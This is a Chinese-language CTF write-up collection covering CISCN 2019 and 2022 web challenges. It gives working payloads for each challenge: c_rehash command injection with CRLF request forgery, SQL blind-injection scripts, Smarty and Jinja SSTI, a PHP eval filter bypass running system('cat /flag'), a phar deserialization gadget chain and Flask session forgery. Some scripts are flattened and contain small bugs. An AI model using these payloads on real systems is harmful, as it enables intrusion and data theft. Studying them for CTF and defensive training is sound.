[CISCN 2022 初赛]online_crt
go源码中的admin路由有文件重命名,
py源码中在createlink路由中会执行系统命令
c_rehash这个命令有一个cve
1.随便找一个pem文件,假设其路径为/tmp/test-cert.pem 2.将$fname参数设置为”/tmp/test-cert.pem”&&whoami&&echo” 最终的执行命令为:openssl x509 -subject_hash -fingerprint -noout -in “/tmp/test-cert.pem”&&whoami&&echo””
whoami就是我们要执行的命令,所以我们要把crt文件重命名来实现rce
能重命名的是go的网站但是没有对外网开放,我们只能通过py网站的proxy路由访问
我们先去get_crt路由创建一个crt文件用于改名
然后去proxy访问admin/rename
发现要先过个判断
需要我们去更改http的请求头
但是
flask这里已经给了请求头,所以我们要有换行符需要伪造请求头
payload
uri=/admin/renam%25%36%35?oldname=6271e5b3-a881-4ba2-8de1-d76517f1ec81.crt%26newname=1.crt%2522%257C%257Cecho%2520Y2F0IC9mbGFnID5jbm0udHh0%257Cbase64%2520-d%257Cbash%2526%2526echo%2522%20HTTP/1.1%0d%0aHost:%20admin%0d%0aConnection:close%0d%0a%0d%0a
[CISCN 2022 初赛]ezpop
thinkphp6反序列化,网上就有payload,用www.zip看源码,找对路由就行
[CISCN 2022 初赛]ezpentest 和虎符的题目很像就是多了一些过滤,大小写用utf8mb4_bin+collate来判断,但是原来的0溢出用不了因为被过滤了,要换成!0+18446744073709551615+1+’’,让整数溢出
regexp也被过滤了用不了,用%来代替
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import requestsurl='http://1.14.71.254:28465/login.php' k='' for i in range (1 ,50 ): for ascii in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}!@$^&._'" : t=ascii payload={ 'password' :'xxx' , "username" :f"'||case`password`like'{k+t} %'COLLATE'utf8mb4_bin'when'1'then!0+18446744073709551615+1+''else'0'end||'" , } response=requests.post(url=url, data=payload) if response.status_code==500 : k+=t print (flag) break
但是登不上不知道怎么回事
[CISCN 2019华北Day2]Web1 简单题,用sql的if盲注,空格被过滤用括号
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import requestsurl = 'http://1.14.71.254:28985/index.php' U = '' for i in range (1 , 50 ): for j in range (32 , 140 ): payload = "if((ascii(substr((select(flag)from(flag)),{},1))={}),1,0)" .format (i, j) data = {"id" : payload} res = requests.post(url=url, data=data) if 'Hello, glzjin wants a girlfriend' in res.text: U = U + chr (j) print (U) break
[CISCN 2019华东南]Web11 会显示ip和xff,我们尝试修改看看
在这会显示
题目给了提示是smart的ssti,smarty是php的框架可以执行php命令
拿到flag
[CISCN 2019初赛]Love Math
可以看到有给eval可以命令执行,但是过滤了很多函数,并且限制了长度,不能用无字母getshell。
php有一个特性,变量可以被当成函数使用
可以看到dir命令被执行了。
而本题目只对传入的c进行了过滤,我们只要把我们要执行的命令用别的参数传进去就行了,然后执行c去获取我们传进去的参数
例如
1 ?c=$_GET[a]($_GET[b])&a=system&b=cat /ls
但是白名单里没有GET,我们看看白名单里有什么
一些数学函数,由数学我们就可想到asc码可以转换数字和字符串,我们看看白名单里有没有可以利用的函数
hex2bin()可以转换16进制成字符,但是16进制会带字母,会被过滤所以我们要用base_convert()把10进制转换成16进制
paylaod
1 ?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag
拿到flag
[CISCN 2019华北Day1]Web1
先注册登入
看到可以上传文件
试下下载,burp抓包
看到dowload路由,并且post了我们要下的文件名,猜一手能读flag
能读文件但是读不到flag,那就先读个源码把家人们
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php session_start(); if (!isset ($_SESSION ['login' ])) { header("Location: login.php" ); die (); } ?> <!DOCTYPE html> <html> <meta charset="utf-8" > <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" > <title>网盘管理</title> <head> <link href="static/css/bootstrap.min.css" rel="stylesheet" > <link href="static/css/panel.css" rel="stylesheet" > <script src="static/js/jquery.min.js" ></script> <script src="static/js/bootstrap.bundle.min.js" ></script> <script src="static/js/toast.js" ></script> <script src="static/js/panel.js" ></script> </head> <body> <nav aria-label="breadcrumb" > <ol class ="breadcrumb "> <li class ="breadcrumb -item active ">管理面板</li > <li class ="breadcrumb -item active "><label for ="fileInput " class ="fileLabel ">上传文件</label ></li > <li class ="active ml -auto "><a href ="#">你好 <?php echo $_SESSION ['username ']?></a ></li > </ol > </nav > <input type ="file " id ="fileInput " class ="hidden "> <div class ="top " id ="toast -container "></div > <?php include "class .php ";$a = new FileList ($_SESSION ['sandbox ']); $a ->Name (); $a ->Size (); ?>
看到由class.php,读一下,这题应该是个反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 <?php error_reporting(0 ); $dbaddr = "127.0.0.1" ;$dbuser = "root" ;$dbpass = "root" ;$dbname = "dropbox" ;$db = new mysqli($dbaddr , $dbuser , $dbpass , $dbname );class User { public $db ; public function __construct ( ) { global $db ; $this ->db = $db ; } public function user_exist ($username ) { $stmt = $this ->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;" ); $stmt ->bind_param("s" , $username ); $stmt ->execute(); $stmt ->store_result(); $count = $stmt ->num_rows; if ($count === 0 ) { return false ; } return true ; } public function add_user ($username , $password ) { if ($this ->user_exist($username )) { return false ; } $password = sha1($password . "SiAchGHmFx" ); $stmt = $this ->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);" ); $stmt ->bind_param("ss" , $username , $password ); $stmt ->execute(); return true ; } public function verify_user ($username , $password ) { if (!$this ->user_exist($username )) { return false ; } $password = sha1($password . "SiAchGHmFx" ); $stmt = $this ->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;" ); $stmt ->bind_param("s" , $username ); $stmt ->execute(); $stmt ->bind_result($expect ); $stmt ->fetch(); if (isset ($expect ) && $expect === $password ) { return true ; } return false ; } public function __destruct ( ) { $this ->db->close(); } } class FileList { private $files ; private $results ; private $funcs ; public function __construct ($path ) { $this ->files = array (); $this ->results = array (); $this ->funcs = array (); $filenames = scandir($path ); $key = array_search("." , $filenames ); unset ($filenames [$key ]); $key = array_search(".." , $filenames ); unset ($filenames [$key ]); foreach ($filenames as $filename ) { $file = new File(); $file ->open($path . $filename ); array_push($this ->files, $file ); $this ->results[$file ->name()] = array (); } } public function __call ($func , $args ) { array_push($this ->funcs, $func ); foreach ($this ->files as $file ) { $this ->results[$file ->name()][$func ] = $file ->$func (); } } public function __destruct ( ) { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">' ; $table .= '<thead><tr>' ; foreach ($this ->funcs as $func ) { $table .= '<th scope="col" class="text-center">' . htmlentities($func ) . '</th>' ; } $table .= '<th scope="col" class="text-center">Opt</th>' ; $table .= '</thead><tbody>' ; foreach ($this ->results as $filename => $result ) { $table .= '<tr>' ; foreach ($result as $func => $value ) { $table .= '<td class="text-center">' . htmlentities($value ) . '</td>' ; } $table .= '<td class="text-center" filename="' . htmlentities($filename ) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>' ; $table .= '</tr>' ; } echo $table ; } } class File { public $filename ; public function open ($filename ) { $this ->filename = $filename ; if (file_exists($filename ) && !is_dir($filename )) { return true ; } else { return false ; } } public function name ( ) { return basename($this ->filename); } public function size ( ) { $size = filesize($this ->filename); $units = array (' B' , ' KB' , ' MB' , ' GB' , ' TB' ); for ($i = 0 ; $size >= 1024 && $i < 4 ; $i ++) $size /= 1024 ; return round($size , 2 ).$units [$i ]; } public function detele ( ) { unlink($this ->filename); } public function close ( ) { return file_get_contents($this ->filename); } } ?>
看到file类的close有file_get_contents函数可以读文件,在FileList类里会创建flie类,并且会打印出来,所以我们要先办法在FileList里调用file的close方法,看到filelist的call方法在调用filelist没有的方法时会去调用file的方法,在use类里会调用db变量的close方法,我们只要让db为filelist就好了,但是本体没有反序列化的点,有上传我们就要用phar反序列化
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php class User { public $db ; } class File { public $filename ; } class FileList { private $files ; private $results ; private $funcs ; public function __construct ( ) { $this ->files = array (); $this ->results = array (); $this ->funcs = array (); $file = new File(); $file ->filename = '/flag.txt' ; array_push($this ->files, $file ); } } $user = new User();$filelist = new FileList();$user ->db = $filelist ;$phar = new Phar("phr.phar" ); $phar ->startBuffering();$phar ->setStub("GIF89a" ."<\?php __HALT_COMPILER(); ?>" ); $phar ->setMetadata($user ); $phar ->addFromString("test.txt" , "test" ); $phar ->stopBuffering();
改后缀上传,delect用phar协议触发反序列化
拿到flag
[CISCN 2019华东南]Double Secret
什么都没有我们扫下目录
robots.txt没什么用
再看看
有console目录应该是flask框架,flask框架我们可以从dubug模式入手
但是首先要让他报错
在secret路由可以传参数,看看能不能让他报错
是ascii码的报错,我们来看看源码
做了个rc4加密,之后进行了模板渲染,看到模板渲染我们就想到ssti
我们先来看看rc4加密
key是HereIsTreasure
我们找个脚本把我们的payload加密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import base64from urllib.parse import quotedef rc4_main (key = "HereIsTreasure" , message = "ciscn" ): s_box = rc4_init_sbox(key) crypt = str (rc4_excrypt(message, s_box)) return crypt def rc4_init_sbox (key ): s_box = list (range (256 )) j = 0 for i in range (256 ): j = (j + s_box[i] + ord (key[i % len (key)])) % 256 s_box[i], s_box[j] = s_box[j], s_box[i] return s_box def rc4_excrypt (plain, box ): res = [] i = j = 0 for s in plain: i = (i + 1 ) % 256 j = (j + box[i]) % 256 box[i], box[j] = box[j], box[i] t = (box[i] + box[j]) % 256 k = box[t] res.append(chr (ord (s) ^ k)) cipher = "" .join(res) print ("加密后的字符串是:%s" %quote(cipher)) return (str (base64.b64encode(cipher.encode('utf-8' )), 'utf-8' ))
拿到flag
[CISCN 2019华东南]Web4
看到readsomething点进去看看
试试用url读本地文件
能读
这个路由没有php后缀应该是python的网站我们读下源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import re, random, uuid, urllibfrom flask import Flask, session, requestapp = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY' ] = str (random.random()*233 ) app.debug = True @app.route('/' ) def index (): session['username' ] = 'www-data' return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>' @app.route('/read' ) def read (): try : url = request.args.get('url' ) m = re.findall('^file.*' , url, re.IGNORECASE) n = re.findall('flag' , url, re.IGNORECASE) if m or n: return 'No Hack' res = urllib.urlopen(url) return res.read() except Exception as ex: print str (ex) return 'no response' @app.route('/flag' ) def flag (): if session and session['username' ] == 'fuck' : return open ('/flag.txt' ).read() else : return 'Access denied' if __name__=='__main__' : app.run( debug=True , host="0.0.0.0" )
我们要伪造session能读到flag,伪造session需要密钥,
1 2 random.seed(uuid.getnode()) app.config['SECRET_KEY'] = str(random.random()*233)
密钥是个随机数由random赋予uuid.getnode()是由mac地址决定的
我们查看地址
然后伪造session
拿到flag